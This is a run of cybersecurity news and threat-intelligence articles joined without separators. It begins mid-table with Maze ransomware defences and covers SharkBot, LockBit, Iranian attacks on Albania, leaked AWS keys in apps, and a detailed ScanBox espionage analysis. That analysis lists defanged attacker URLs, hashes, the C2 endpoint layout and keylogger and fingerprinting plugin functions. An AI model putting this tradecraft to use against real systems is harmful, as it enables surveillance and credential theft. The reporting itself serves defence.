Persistence 	Modify Existing Service (T1031) 	Cortex XDR 	Configure Behavioral Threat Protection under the Malware Security Profile
Persistence 	Registry Run Keys / Startup Folder (T1060) 	Cortex XDR 	Configure Behavioral Threat Protection under the Malware Security Profile
Persistence 	New Service (T1050) 	Cortex XDR 	Configure Behavioral Threat Protection under the Malware Security Profile
Privilege Escalation 	Exploitation for Privilege Escalation (T1068) 	Cortex XDR 	Enable Anti-Exploit and Anti-Malware Protection
Defense Evasion 	NTFS File Attributes (T1096) 	NGFW 	Block all unknown and unauthorized applications
WildFire 	Forward files for WildFire Analysis
Cortex XDR 	Configure Behavioral Threat Protection under the Malware Security Profile
Defense Evasion 	Obfuscated Files or Information
(T1027) 	WildFire 	Forward files for WildFire Analysis
Cortex XDR 	Enable Anti-Exploit and Anti-Malware Protection
Defense Evasion 	Disabling Security Tools (T1089) 	Cortex XDR 	Configure Behavioral Threat Protection under the Malware Security Profile
Credential Access 	Brute Force
(T1110) 	NGFW 	Create a rule to modify the default action for all signatures in the brute force category to block-ip address action
Credential Access 	Credential Dumping (T1003) 	Cortex XDR 	Cortex XDR monitors for behavioral events and files associated with credential access and exfiltration
Lateral Movement 	Remote Desktop Protocol (T1076) 	NGFW 	Configure Multi Factor Authentication,Create User Group for Limited Access to Allow List Applications,Configure Interfaces and Zones segmentation
Cortex XDR 	Configure Host Firewall Profile
Collection 	Data from Local System (T1005) 	Cortex XDR 	Cortex XDR monitors for behavioral events and files associated with collection activities
Command and Control 	Standard Application Layer Protocol
(T1071) 	NGFW 	Block all unknown and unauthorized applications
DNS Security† 	Deploy Anti-Spyware profiles with block action
Cortex XDR 	Cortex XDR monitors for behavioral events indicative of command and control activity
Command and Control  	Remote File Copy (T1105) 	NGFW 	Block all unknown and unauthorized applications
WildFire 	Forward files for WildFire Analysis
Cortex XDR 	Cortex XDR monitors for behavioral events associated with file creation, staging, and exfiltration
Command and Control 	Standard Cryptographic Protocol (T1032) 	NGFW 	Block all unknown and unauthorized applications, Enable SSL decryption
DNS Security† 	Enable DNS Security in Anti-Spyware profile
WildFire 	Forward SSL decrypted files to WildFire
Discovery 	File and Directory Discovery (T1083) 	Cortex XDR 	Cortex XDR monitors for behavioral events along a causality chain to identify discovery behaviors
Discovery 	Network Share Discovery (T1135) 	Cortex XDR 	Cortex XDR monitors for behavioral events along a causality chain to identify discovery behaviors
Discovery 	Process Discovery (T1057) 	Cortex XDR 	Cortex XDR monitors for behavioral events along a causality chain to identify discovery behaviors
Discovery 	Software Discovery (T1518) 	Cortex XDR 	Cortex XDR monitors for behavioral events along a causality chain to identify discovery behaviors
Discovery 	System Information Discovery (T1082) 	Cortex XDR 	Cortex XDR monitors for behavioral events along a causality chain to identify discovery behaviors
Exfiltration 	Data Encrypted
(T1022) 	Cortex XDR 	Configure Behavioral Threat Protection under the Malware Security Profile
Exfiltration 	Exfiltration Over Alternative Protocol (T1048) 	NGFW
Block all unknown and unauthorized applications.
DNS Security 	Enable DNS Security in Anti-Spyware
Exfiltration 	Exfiltration Over Command and Control (T1041) 	NGFW  	Block all unknown and unauthorized applications
DNS Security 	Enable DNS Security in the Anti-Spyware profile
Threat Prevention† 	Enable Anti-Spyware Profile with Block Action
Impact 	Data Encrypted for Impact (T1486) 	Cortex XSOAR 	Deploy Cortex XSOAR Playbook - Ransomware Manual for incident response
Table 1.
Course of Action for Maze Ransomware
These capabilities are part of the NGFW security subscriptions service
Recently, malicious operators behind the Maze ransomware activities compromised multiple IT service providers.
These operators were also able to establish a foothold within another victim’s network through insecure Remote Desktop Protocol and other remote service connections or by brute-forcing the local administrator account.
Organizations should be mindful of potential compromises through third-party sources and ensure strong passwords are used for all systems capable of remote access.
It was also reported that Maze operators pay special attention to cloud backups on the compromised network.
If the operators were to obtain login credentials, they are then able to download all backup data to an actor controlled server.
Organizations should ensure that all cloud backup files are properly stored and protected.
Threat Education
What is Ransomware?
Ransomware is a criminal business model that uses malicious software to hold valuable files and other data for ransom.
Victims of ransomware attacks may have their operations degraded or shut down entirely.
For additional details on a What is Ransomware?, visit the Palo Alto Networks Cyberpedia:
https://www.paloaltonetworks.com/cyberpedia/what-is-ransomware
Palo Alto Networks customers can review activity associated with this Threat Brief via AutoFocus using the following tag: Maze, SpelevoEKFlashContainer
Palo Alto Networks Cortex XDR contains an Anti-Ransomware Protection module.
This module targets encryption-based activity associated with ransomware.
Cortex XDR contains defined behavioral indicators of compromise designed to detect anomalies within your network.
More information on ransomware can be found in the 2021 Unit 42 Ransomware Threat Report.
SharkBot malware sneaks back on Google Play to steal your logins
A new and upgraded version of the SharkBot malware has returned to Google's Play Store, targeting banking logins of Android users through apps that have tens of thousands of installations.
The malware was present in two Android apps that did not feature any malicious code when submitted to Google's automatic review.
However, SharkBot is added in an update occurring after the user installs and launches the dropper apps.
According to a blog post by Fox IT, part of the NCC Group, the two malicious apps are “Mister Phone Cleaner” and “Kylhavy Mobile Security,” collectively counting  60,000 installations.
The two applications dropping SharkBot
The two applications dropping SharkBot (Fox IT)
The two applications have been removed from Google Play, but users who installed them are still at risk and should remove them manually.
SharkBot evolvedMalware analysts at Cleafy, an Italian online fraud management and prevention company, discovered SharkBot in October 2021.
In March 2022, NCC Group found the first apps carrying it on the Google Play.
At that time, the malware could perform overlay attacks, steal data through keylogging, intercept SMS messages, or give threat actors complete remote control of the host device by abusing the Accessibility Services.
In May 2022, researchers at ThreatFabric spotted SharkBot 2 that came with a domain generation algorithm (DGA), an updated communication protocol, and a fully refactored code.
Researchers at Fox IT discovered a new version of the malware (2.25) on August 22, which adds the capability to steal cookies from bank account logins.
Additionally, the new dropper apps don’t abuse the Accessibility Services as they did before.
“Abusing the accessibility permissions, the dropper was able to automatically click all the buttons shown in the UI to install Sharkbot.
But this not the case in this new version of the dropper for Sharkbot,” Fox IT
“The dropper instead will make a request to the C2 server to directly receive the APK file of Sharkbot.
It won’t receive a download link alongside the steps to install the malware using the ‘Automatic Transfer Systems’ (ATS) features, which it normally did,” Fox IT says.
POST request for downloading SharkBot
Encrypted POST request for downloading SharkBot (Fox IT)
Once installed the dropper app contacts the command and control (C2) server requesting the malicious SharkBot APK file.
The dropper then alerts the user that an update is available and asks them to install the APK and grant all required permissions.
To make automated detection more difficult, SharkBot stores its hard-coded configuration in encrypted form using the RC4 algorithm.
Cookie-loving shark
The overlay, SMS intercept, remote control, and keylogging systems are still present on SharkBot 2.25, but a cookie logger has been added on top of them.
New function to steal cookies
New function to steal cookies (Fox IT)
When the victim logs into their bank account, SharkBot snatches their valid session cookie using a new command (“logsCookie”) and sends it to the C2.
Cookies are valuable for taking over accounts because they contain software and location parameters that help bypass fingerprinting checks or, in some cases, the user authentication token itself.
During the investigation, Fox IT's observed new SharkBot campaigns in Europe (Spain, Austria, Germany, Poland, Austria) and the U.S.
The researchers noticed that the malware uses in these attacks the keylogging feature and steals the sensitive info straight from the official app it targets.
With an improved version of the malware available, Fox IT expects SharkBot campaigns to continue and an evolution of the malware.
Novel malicious software discovered by ESET continues to grow the MITRE ATT&CK™ knowledge base
Since going public in 2015, the MITRE ATT&CKTM knowledge base has witnessed a boon of contributions from the cybersecurity community.
ATT&CK collates this information to provide a common language and structured intelligence on adversary behaviors across multiple threat groups.
ESET’s most recent contributions comprise four entries in the Software and one extension in the Groups categories of ATT&CK.
Software:
1.
Attor (S0438)
Attor is a previously unreported cyberespionage platform used in targeted attacks since at least 2013 against diplomatic missions and governmental institutions located mainly in Russia.
Attor’s architecture consists of a dispatcher and loadable plugins.
ESET discovered and named the malware based on two notable features of its plugins: the Device monitor plugin’s capability of using AT commands to fingerprint GSM devices and the Tor client plugin’s use of Tor for command and control communication and exfiltration.
Attor’s functionality maps to 32 ATT&CK Enterprise techniques and 18 sub-techniques.
2.
Okrum (S0439)
Okrum is a previously unknown backdoor that ESET first detected in late 2016 in attacks against diplomatic missions in Slovakia, Belgium, Chile, Guatemala and Brazil.
The malicious actors behind Okrum employed several tactics to remain undetected, such as embedding the malicious payload within a legitimate PNG image, employing several anti-emulation and anti-sandbox tricks, and making frequent changes in implementation.
ESET discovered the Okrum backdoor delivering a Ketrican sample linking it back to the work of the Ke3chang (APT15) group.
The Okrum entry comprises 28 ATT&CK Enterprise techniques and 24 sub-techniques.
3.
ComRAT (S0126)
ComRAT, a favorite backdoor used by the Turla threat group since at least 2007, was discovered by ESET in its latest version (version four) released in 2017 targeting two ministries of foreign affairs and a national parliament.
The operators were using the backdoor to discover, steal and exfiltrate confidential documents.
ESET researchers found 16 ATT&CK Enterprise techniques and 11 sub-techniques deployed.
4.
DEFENSOR ID (S0479)
DEFENSOR ID is an Android banking trojan that unleashes its fury when users grant permission to activate accessibility services.
The app is packed with a host of malicious features, including stealing login credentials, SMS and email messages, displayed cryptocurrency private keys, and software-generated multifactor authentication codes; clearing bank accounts and cryptocurrency wallets; and taking over email and social media accounts.
DEFENSOR ID’s functionality maps to 6 ATT&CK Mobile techniques.
Groups:
1.
Turla (G0010)
ESET researchers identified several links between ComRAT v4 and the Turla threat group.
Version four of the backdoor uses the internal name “Chinch” as in previous versions, uses the same custom command and control protocol over HTTP as ComRAT v3, shares part of its network infrastructure with Mosquito (another backdoor used by Turla), and was seen either dropped by or dropping other Turla malware families.
By linking ComRAT v4 to Turla, ESET provided extensions of 13 ATT&CK Enterprise techniques and 6 sub-techniques of the Turla group.
MITRE ATT&CK evaluations: Simulating the Carbanak/FIN7 APT group
MITRE ATT&CK is also notable for its evaluations.
Running in its third round, the evaluations use simulated attacks to test the prevention and detection capabilities of security products against the techniques employed by high-profile adversaries.
ESET and MITRE ATT&CK teams will be engaging in red and blue team activities putting ESET to the test against the techniques of the Carbanak/FIN7 APT group.
FIN7 is infamous for creating a front company called Combi Security that hired black hat recruits under the guise of various cybersecurity roles, such as penetration tester.
The U.S. Department of Justice has arrested and charged four members of the group to date.
ESET discovered Carbanak malware targeting point of sale systems for credit card data at a casino.
Carbanak is known for targeting the finance and retail industries, including banks, forex trading companies, casinos, hotels and restaurants.
How does ATT&CK benefit ESET?
As of August 2020, the number of ESET contributions to MITRE ATT&CK has continued to grow, with ESET being one of the top referenced and engaged vendors directly involved in refinement and population of the MITRE ATT&CK knowledge base.
ESET’s engagement with ATT&CK continues to inform product R&D, malware research practice and its ongoing cybersecurity awareness work.
These ongoing contributions also help provide additional possibilities to transfer knowledge to that close-knit community.
Albania blames Iran for July cyberattack, severs diplomatic ties
Albanian Prime Minister Edi Rama announced on Wednesday that the entire staff of the Embassy of the Islamic Republic of Iran was asked to leave within 24 hours.
This decision comes after severing diplomatic relations with Iran following the attribution of a July cyberattack that targeted Albanian government infrastructure to Iranian threat actors.
"The in-depth investigation provided us with indisputable evidence that the cyberattack against our country was orchestrated and sponsored by the Islamic Republic of Iran through the engagement of four groups that enacted the aggression," Rama said.
"This extreme response, one that is unwanted but totally forced on us, is fully proportionate to the gravity and risk of the cyberattack that threatened to paralyse public services, erase digital systems and hack into State records, steal Government intranet electronic communication and stir chaos and insecurity in the country."
The United States government also formally blamed Iran for attacking Albania in July and said the country would be held accountable for threatening the security of a NATO ally.
"The United States strongly condemns Iran's cyberattack against our NATO Ally, Albania," U.S. National Security Council spokesperson Adrienne Watson said on Wednesday.
"We have concluded that the Government of Iran conducted this reckless and irresponsible cyberattack and that it is responsible for subsequent hack and leak operations.
"The United States will take further action to hold Iran accountable for actions that threaten the security of a U.S. ally and set a troubling precedent for cyberspace."
Cyberattacks could lead to war
In July 2021, President Joe Biden warned that cyberattacks that lead to severe security breaches could lead to a "real shooting war."
"You know, we've seen how cyber threats, including ransomware attacks, increasingly are able to cause damage and disruption to the real world," Biden said.
"I can't guarantee this, and you're as informed as I am, but I think it's more likely we're going to end up — well, if we end up in a war, a real shooting war with a major power, it's going to be as a consequence of a cyber breach of great consequence."
Biden's remarks came one month after a NATO statement issued in mid-June saying that cyberattacks are comparable to "armed attacks" in some circumstances.
"We reaffirm that a decision as to when a cyber attack would lead to the invocation of Article 5 would be taken by the North Atlantic Council on a case-by-case basis," the NATO communiqué reads [PDF].
"Allies recognise that the impact of significant malicious cumulative cyber activities might, in certain circumstances, be considered as amounting to an armed attack."
LockBit ransomware gang gets aggressive with triple-extortion tactic
LockBit ransomware gang announced that it is improving defenses against distributed denial-of-service (DDoS) attacks and working to take the operation to triple extortion level.
The gang has recently suffered a DDoS attack, allegedly on behalf of digital security giant Entrust, that prevented access to data published on its corporate leaks site.
Data from Entrust was stolen by LockBit ransomware in an attack on June 18, according to a BleepingComputer source.
The company confirmed the incident and that data had been stolen.
Entrust did not pay the ransom and LockBit announced that it would publish all the stolen data on August 19.
This did not happen, though, because the gang’s leak site was hit by a DDoS attack believed to be connected to Entrust.
LockBit getting into DDoS
Earlier this week, LockBitSupp, the public-facing figure of the LockBit ransomware operation, announced that the group is back in business with a larger infrastructure to give access to leaks unfazed by DDoS attacks.
The DDoS attack last weekend that put a temporary stop to leaking Entrust data was seen as an opportunity to explore the triple extortion tactic to apply more pressure on victims to pay a ransom.
LockBitSupp said that the ransomware operator is now looking to add DDoS as an extortion tactic on top of encrypting data and leaking it.
“I am looking for dudosers [DDoSers] in the team, most likely now we will attack targets and provide triple extortion, encryption + date leak + dudos, because I have felt the power of dudos and how it invigorates and makes life more interesting,” LockBitSupp wrote in a post on a hacker forum.
Leaking Entrust data
The gang also promised to share over torrent 300GB of data stolen from Entrust so “the whole world will know your secrets.”
LockBit’s spokesperson said that they would share the Entrust data leak privately with anyone that contacts them before making it available over torrent.
It appears that LockBit has kept its promise and released this weekend a torrent called “entrust.com” with 343GB of files.
The operators wanted to make sure that Entrust's data is available from multiple sources and, besides publishing it on their site, they also shared the torrent over at least two file storage services, with one of them no longer making it available.
DDoS defenses
One method already implemented to prevent further DDoS attacks is to use unique links in the ransom notes for the victims.
“The function of randomization of links in the notes of the locker has already been implemented, each build of the locker will have a unique link that the dudoser [DDoSer] will not be able to recognize,” LockBitSupp posted.
They also announced an increase in the number of mirrors and duplicate servers, and a plan to increase the availability of stolen data by making it accessible over clearnet, too, via a bulletproof storage service.
After publishing this article, BleepingComputer learned that LockBit has made the stolen Entrust data available over clearnet, on a website that provides files for a limited period.
LockBit ransomware operation has been active for almost three years, since September 2019.
At the time of writing, LockBit’s data leak site is up and running.
The gang is listing more than 700 victims and Entrust is one of them, with data for the company leaked on August 27.
Update [August 29, 09:12]: Article updated with info on Entrust data being shared over clearnet.
Ukraine takes down cybercrime group hitting crypto fraud victims
The National Police of Ukraine (NPU) took down a network of call centers used by a cybercrime group focused on financial scams and targeting victims of cryptocurrency scams under the guise of helping them recover their stolen funds.
The fraudsters behind these illegal call centers were also allegedly involved in scamming citizens of Ukraine and European Union countries interested in cryptocurrency, securities, gold, and oil investments.
Throughout this cross-border fraud operation, they used software and high-tech equipment that made it possible to spoof the phone numbers of state banking organizations.
"In the course of the investigation, it was established that the employees of call centers presented themselves as employees of these state banking institutions and extorted confidential data of citizens' bank cards," the NPU revealed.
"The organizers of the scheme used previously created websites and platforms for exchange trading of currency and cryptocurrency, securities, gold and oil to attract funds from foreign citizens, guaranteeing the receipt of excess profits in a short time."
While claiming to be members of a so-called "Community of cryptocurrency brokers," the attackers also used contact information belonging to previous victims of other cryptocurrency scammers to deceive them that they could help them recover their stolen funds for a "commission."
However, they interrupted all communications after tricking the targets into transferring the money to attacker-controlled accounts.
Ukrainian law enforcement officers confirmed these illegal activities following authorized searches at the location of multiple "call centers" linked to this cybercrime operation and the seizure of computer equipment, mobile phones, and data records.
Those linked to this fraud scheme are investigated for being part of an organized criminal group, fraud, and using malicious software, and are facing up to 12 years in prison.
In September 2021, the Security Service of Ukraine (SBU) also took down another network of call centers in Lviv linked to a ring of scammers who defrauded cryptocurrency investors worldwide.
They used VoIP (Voice over Internet Protocol) phone numbers to hide their actual location while scamming thousands of foreign investors.
The U.S. Federal Trade Commission (FTC) said last year that more than $80 million were lost to cryptocurrency investment scams, according to roughly 7,000 reports received since October 2020.
The Federal Bureau of Investigation (FBI) also alerted cryptocurrency owners of fraudsters actively targeting virtual assets in phone calls by impersonating cryptocurrency exchange or payment platform support staff.
Stock market investors were also warned by the Securities and Exchange Commission (SEC) in July 2021 that scammers are impersonating registered investment professionals such as brokers and investment advisers.
Over 1,000 iOS apps found exposing hardcoded AWS credentials
Security researchers are raising the alarm about mobile app developers relying on insecure practices that expose Amazon Web Services (AWS) credentials, making the supply chain vulnerable.
Malicious actors could take advantage of this to access private databases, leading to data breaches and the exposure of customers' personal data.
Scale of the problem
Researchers at Symantec’s Threat Hunting team, part of Broadcom Software, found 1,859 applications containing hard-coded AWS credentials, most of them being iOS apps and just 37 for Android.
Roughly 77% of those applications contained valid AWS access tokens that could be used for direct access to private cloud services.
Additionally, 874 applications contained valid AWS tokens that hackers can use for accessing cloud instances containing live-service databases that hold millions of records.
These databases typically contain user account details, logs, internal communication, registration information, and other sensitive data, depending on the type of the app.
Real examples
The threat analysts highlight three notable cases in their report where the exposed AWS tokens could have had catastrophic consequences for both authors and users of the vulnerable apps.
One example is a business-to-business (B2B) company providing intranet and communication services to over 15,000 medium-to-large companies.
The software development kit (SDK) the company provided to clients to access its services contains AWS keys, exposing all private customer data stored on the platform.
Another case is a third-party digital identity and authentication SDK used by several banking apps on iOS that included valid cloud credentials.
Due to this, all authentication data from all customers of those banks, including names, dates of birth, and even biometric digital fingerprint scans, were exposed in the cloud.
Finally, Symantec found a sports betting technology platform used by 16 online gambling apps, that exposed its entire infrastructure and cloud services with admin-level read/write permissions.
Why is this happening?
The issue with hard-coded and “forgotten” cloud service credentials is basically a supply chain problem, as the negligence of an SDK developer can impact an entire collection of apps and services that rely on it.
Mobile app development relies on ready-made components instead of creating everything from scratch, so if the app publishers don’t run a thorough check on the SDKs or libraries they use, a security risk is likely to propagate into their project.
As for developers hard-coding the credentials in their products, this is a matter of convenience during the development and testing process and skipping proper code review for security issues.
Referring to reasons why this is happening, Symantec highlights the following possibilities:
Downloading or uploading assets and resources required for the app, usually large media files, recordings, or images
Accessing configuration files for the app and/or registering the device and collecting device information and storing it in the cloud
Accessing cloud services that require authentication, such as translation services
No specific reason, dead code, and/or used for testing and never removed
Failing to remove these credentials when the software is ready to be deployed by clients is a matter of carelessness and the result of the absence of a checklist-based release process that includes security, too.
Rising Tide: Chasing the Currents of Espionage in the South China Sea
August 30, 2022 Michael Raggi and Sveva Scenarelli at PwC
Proofpoint’s Threat Research Team details a recent cyber espionage campaign targeting entities globally and conducted by a threat actor publicly which was attributed in 2021 by multiple governments and was the focus of a 2021 indictment by the US Department of Justice.
The targets of this recent campaign spanned Australia, Malaysia, and Europe, as well as entities that operate in the South China Sea.
Proofpoint’s research has been assisted by the PwC Threat Intelligence team to provide the information security community with a comprehensive view of the threat activity described.
Introduction
Proofpoint and PwC Threat Intelligence have jointly identified a cyber espionage campaign, active since April 2022 through June, delivering the ScanBox exploitation framework to targets who visit a malicious domain posing as an Australian news website.
The joint efforts of Proofpoint and PwC researchers provide a moderate confidence assessment that recent campaigns targeting the federal government, energy, and manufacturing sectors globally may represent recent efforts by TA423 / Red Ladon.
Activity which overlaps with this threat actor has been publicly referred to in governmental indictments as “APT40” and “Leviathan.”
This blog analyzes the structure and capabilities of the sample of ScanBox and the plugins identified in this campaign.
It also correlates this campaign and its observed victimology with previous campaigns conducted by TA423 / Red Ladon which leveraged RTF template injection.
The blog details:
Recent targeted phishing campaigns that use URLs impersonating Australian media entities to deliver the ScanBox reconnaissance framework;
How this custom ScanBox script and related modules work;
How this campaign correlates to threat activity dating back to June 2021 which leveraged RTF template injection;
The history of the ScanBox framework; and,
The targeting focus of TA423/Red Ladon on domestic Australian organisations, as well as entities involved with offshore energy exploration in the South China Sea.
TA423 / Red Ladon: TA423 / Red Ladon is a China-based, espionage-motivated threat actor that has been active since 2013, targeting a variety of organisations in response to political events in the Asia-Pacific region, with a focus on the South China Sea.
Targeted organisations include defence contractors, manufacturers, universities, government agencies, legal firms involved in diplomatic disputes, and foreign companies involved with Australasian policy or South China Sea operations.
TA423 / Red Ladon Targets the Australian Government and Wind Turbine Fleets in South China Sea
Beginning on 12 April 2022, and continuing through mid-June 2022, Proofpoint identified several waves of a phishing campaign resulting in the execution of the ScanBox reconnaissance framework, in part based on intelligence shared by PwC Threat Intelligence related to ongoing ScanBox activity.
The phishing campaign involved URLs delivered in phishing emails, which redirected victims to a malicious website posing as an Australian news media outlet.
The website’s landing page delivered a JavaScript ScanBox malware payload to selected targets.
In historic instances, ScanBox has been delivered from websites that were the victim of strategic web compromise (SWC) attacks with legitimate sites being injected with malicious JavaScript code.
In this instance, the threat actor controls the malicious site and delivers malicious code to unsuspecting users.
A ScanBox Primer: ScanBox, detailed in open source as early as 2014 by AlienVault, is a JavaScript based web reconnaissance and exploitation framework which allows threat actors to profile victims, and to deliver further malware to selected targets of interest.
PwC Threat Intelligence assesses it is highly likely that ScanBox is shared privately amongst multiple China-based threat actors.
timeline
Figure 1.
A timeline of activity involving ScanBox since 2014 to May 2022
The following China-based threat actors have been observed using ScanBox:
Red Sylvan (a.k.a.
APT3, Gothic Panda);
Red Apollo (a.k.a.
APT10, Stone Panda);
Red Phoenix (a.k.a.
APT27, Emissary Panda);
TA423 / Red Ladon (a.k.a.
APT40, Leviathan, GADOLINIUM);
Red Dev 16 (a.k.a.
Evil Eye, Earth Empusa, Poison Carp); and,
TA413 / White Dev 9 (a.k.a.
LuckyCat).
TA423 / Red Ladon’s 2018 ScanBox activity targeting Cambodia involved domains masquerading as news websites and targeted high profile government entities, including the National Election Commission.
One of the ScanBox server domains used in that campaign, mlcdailynews[.
]com, hosted several articles about Cambodian affairs and US and East Asia relations, for which contents were copied from legitimate publications (Khmer Post, Asia Times, Reuters, Associated Press).
These were likely used as lures in phishing emails to convince targets to follow malicious links to the actor-controlled ScanBox domain.
The 2022 ScanBox Campaign
The April 2022 to June 2022 ScanBox campaign primarily targeted:
local and federal Australian Governmental agencies;
Australian news media companies; and,
global heavy industry manufacturers which conduct maintenance of fleets of wind turbines in the South China Sea.
This demonstrated the comingling of targets involved in Australian governmental affairs as well as offshore energy production in the South China Sea.
Proofpoint previously observed similar targeting in June 2021 by TA423 / Red Ladon, wherein the threat actor would deliver a downloader in DLL format via RTF template injection.
The campaign showed a consistency of victimology spanning thirteen months and bridging diverse phishing tactics, techniques, and procedures (TTPs).
The ScanBox-related phishing campaigns identified in April through June 2022 originated from Gmail and Outlook email addresses which Proofpoint assess with moderate confidence were created by the threat actor, and utilized a variety of subjects including “Sick Leave,” “User Research,” and “Request Cooperation.”
The threat actor would frequently pose as an employee of the fictional media publication “Australian Morning News”, providing a URL to the malicious domain and soliciting targets to view its website or share research content that the website would publish.
In emails, the threat actor claimed to be starting a “humble news website” (sic) and solicited user feedback while providing a link to australianmorningnews[.
]com.
While this is not impersonating an existing Australian media publication, it does copy content from legitimate news publications (including the BBC and Sky News) which was then displayed when victims navigated to the website.
Upon clicking the link and redirecting to the site, visitors were served the ScanBox framework.
The impersonation of a fictional media publication local to targets of interest is a tactic that Proofpoint and PwC Threat Intelligence had previously observed being used in historic TA423 / Red Ladon ScanBox campaigns identified preceding the Cambodian elections in 2018.
The content of the emails and the malicious URL technique reprised a technique previously observed in September 2021 TA423 / Red Ladon campaigns detailed later in this blog, in which the threat actor impersonated Australian media publications with its malware delivery infrastructure.
phishing emails
Phishing emails
Figure 2.
TA423 Phishing Emails 28 April 2022 and 1 June 2022
BBC's coverage
Figure 3.
The homepage of australianmorningnews[.
]com, posing as “Australia’s largest news site”.
The same exact headline, picture, and text can be found in the BBC’s coverage.
An interesting commonality to earlier activity can be observed across several of the campaigns identified from April through May 2022.
The malicious URLs provided in the emails also appear to use values that are customized for each target, although they all redirect to the same page and serve the same malicious payload.
In one instance the threat actor was observed appending the URI extension “?p=23-<##>”.
It appears that p=23 specifies the page value for landing page the user is redirected to, while the number string that follows it, e.g.
the “11” in “?p=23-11”, appears to be a unique identifier for each recipient.
Proofpoint had also observed customized URLs, and URL redirect destinations distinct for each target, in TA423’s earlier campaigns in March 2022.
This may be an attempt by the threat actor to correlate traffic to its servers, which host the page infected by ScanBox malware, with custom user identifiers which targets received within the URLs via email:
hxxp://australianmorningnews[.
]com/?p=23-7
hxxp://australianmorningnews[.
]com/?p=23-11
hxxp://australianmorningnews[.
]com/?p=23-24
hxxp://australianmorningnews[.
]com/?p=23-27
Malware
ScanBox can deliver JavaScript code in one single block, or, as is the case in the April 2022 campaign, as a plugin-based, modular architecture.
While delivering the entire code at once would allow threat actors full functionality on a victim system, PwC threat intelligence analysts assess that a primary motivation for selectively loading plugins is likely a way to prevent crashes or errors that might tip off the owners of compromised websites.
PwC assesses that another likely motivation to adopt a modular architecture was to reduce researchers’ visibility and access into the plugins and the threat actor’s toolset.
Campaigns from May through June 2022 delivered the same JavaScript file with contents similar to those PwC had originally encountered in samples of ScanBox as early as 2014:
SHA-256
7795936ed1bdb7a5756c1ff821b2dc8739966abbb00e3e0ae114ee728bf1cf1a
Filename
cwhe18nc
File type
JavaScript
File size
24,768 bytes
.info.seed
0c62cf7354f80d5519b71656540567a1
The malicious file executed in victim’s browsers was originally hosted at the URL: hxxp://image[.]australianmorningnews[.
]com/i/?cwhe18nc
Main Script and Overall Characteristics: The modular architecture of ScanBox works by executing a main JavaScript payload, and then loading additional modules to profile the victim.
At the very end of the code of its main module, ScanBox sets up its configuration, which includes the C2 server to contact (hxxp://image.australianmorningnews[.
]com/i/ followed by specific URLs as described later in this blog), and the information to gather from victim systems, as seen in Figure 4 below.
Scanbox
Figure 4.
The 2022 ScanBox initial script setting up its configuration
Scanbox
Figure 5.
A 2015 sample of ScanBox’s initial script setting up its configuration
The initial script harvests several types of information from visitors and serves as a setup for the following stages of information gathering and potential follow-on exploitation or compromise.
From PwC's analysis, the capabilities of the initial ScanBox JavaScript executed in victim’s browsers include:
Getting the current time;
Getting the language of the victim’s browser;
Getting the major and minor version of Adobe Flash installed on the victim’s browser, if any;
Checking if the victim’s browser is Safari or Internet Explorer;
Checking whether the C2 is alive and responding;
Sending Information about the victim’s browser back to the C2, including:
Version of Flash installed
Location (that is the URL being visited);
The URI the victim was redirected from;
Title of the webpage being visited;
Domain being visited;
Referrer;
User-Agent;
Cookie;
Character encoding;
Screen width and height;
Underlying Operating System;
Language;
Screen’s colour depth;
Loading further ScanBox plugins and parsing their responses back into JSON to send to the C2.
Scanbox
Figure 6.
The initial ScanBox script checks whether it’s ready and able to connect to the C2 to send back victim information
The modular ScanBox architecture works by sending data to different responsive PHP scripts hosted on a same server-side folder, which in many cases in the past few years has been called /i/, and which in this case is hxxp://image[.]australianmorningnews[.
]com/i/.
The scripts perform different functions, as follows:
URI path
Action
/i/v.php?m=b
Send victim information back to the C2
/i/c.php?data=
Load a specified child JavaScript object
/i/k.php?data=
Create an iframe, or replace one, containing the data in the URL
/i/p.php?data=
Execute a ScanBox plugin
/i/v.php?m=a&data=
Heartbeat to the C2 server to know whether the C2 is online
/i/v.php?m=p&data=
Get information on the plugin
/i/v.php?m=plug
URL that plugins send gathered data back to
The one-letter script names closely match their functionality, as p.php refers to executing a ScanBox plugin, k.php relates to keylogger data, while v.php handles victim information harvested by the ScanBox scripts.
Modern versions of ScanBox have function names prepended by a seemingly random set of 32 alphanumeric characters (which could represent an MD5 hash), which are also referred to in ScanBox scripts as the .info.seed parameter.
We identified other samples of the main ScanBox script which embed different .info.seed parameter within the script on the URL: hxxp://image[.]australianmorningnews[.
]com/i/?cwhe18nc:
SHA-256
2f204f3b3abc97efc74b6fa016a874f9d4addb8ac70857267cc8e4feb9dbba26
Filename
cwhe18nc.js
File type
JavaScript
File size
24,685 bytes
.info.seed
4845456f078aa3b7ed5221b8fcda5bb4
SHA-256
18db4296309da48665121899c62ed8fb10f4f8d22e44fd70d2f9ac8902896db1
Filename
cwhe18nc.htm
File type
JavaScript
File size
24,518 bytes
.info.seed
d78bd216a4811d8eba37576dbe186492
Infection Chain and ScanBox Control Flow
Infection Chain
Figure 7.
A diagram of the infection chain and ScanBox control flow
p1 p2
Figure 8.
A summary of ScanBox installation, control flow, and plugin activity
Keylogger plugin: The keylogger plugin records any key pressed by the victim within the iframe created by the ScanBox code and sends data back to the C2.
PwC has described an extremely similar module in a 2017 report on ScanBox, with the code having remained roughly the same since the first ScanBox keylogger plugins were observed in 2014.
Victim browser plugins Identification: This plugin gathers the name, filename, and description of any legitimate browser plugin installed in the victim’s browser, sending the result back to the C2 as a list.
Browser fingerprinting plugin: This plugin gathers further information about the victim’s browser, likely for the threat actor to understand the available attack surface and which capabilities might be required for follow-on exploitation.
It checks, among other details:
Whether Java is installed, and if so what version;
The version of ActiveX installed;
Whether specific Java web applications are installed;
Whether the victim’s browser is Internet Explorer, iPhone, Firefox, Chrome, Safari, “Other” from the Netscape family, Opera, or “unknown”; and,
Whether the Microsoft Java Virtual Machine (MSJVM) is installed in the victim’s browser.
Peer connection plugin: PwC had previously documented this module in a 2017 report (‘A ScanBox darkly’, PwC Cyber Threat Intelligence, CTO-TIB-20170713-01A).
The module implements WebRTC, a free and open-source technology supported on all major browsers, which allows web browsers and mobile applications to perform real-time communication (RTC) over application programming interfaces (APIs).
This allows ScanBox to connect to a set of pre-configured targets.
In this sample, the targets are STUN servers at the following URL:
stun:stun.l.google[.
]com:19302, on a legitimate Google address.
STUN (Session Traversal Utilities for NAT) is a standardised set of methods, including a network protocol, that allows interactive communications (including real-time voice, video, and messaging applications) to traverse network address translator (NAT) gateways.
STUN is supported by the WebRTC protocol.
Through a third-party STUN server located on the Internet, it allows hosts to discover the presence of a NAT, and to discover the mapped IP address and port number that the NAT has allocated for the application's User Datagram Protocol (UDP) flows to remote hosts.
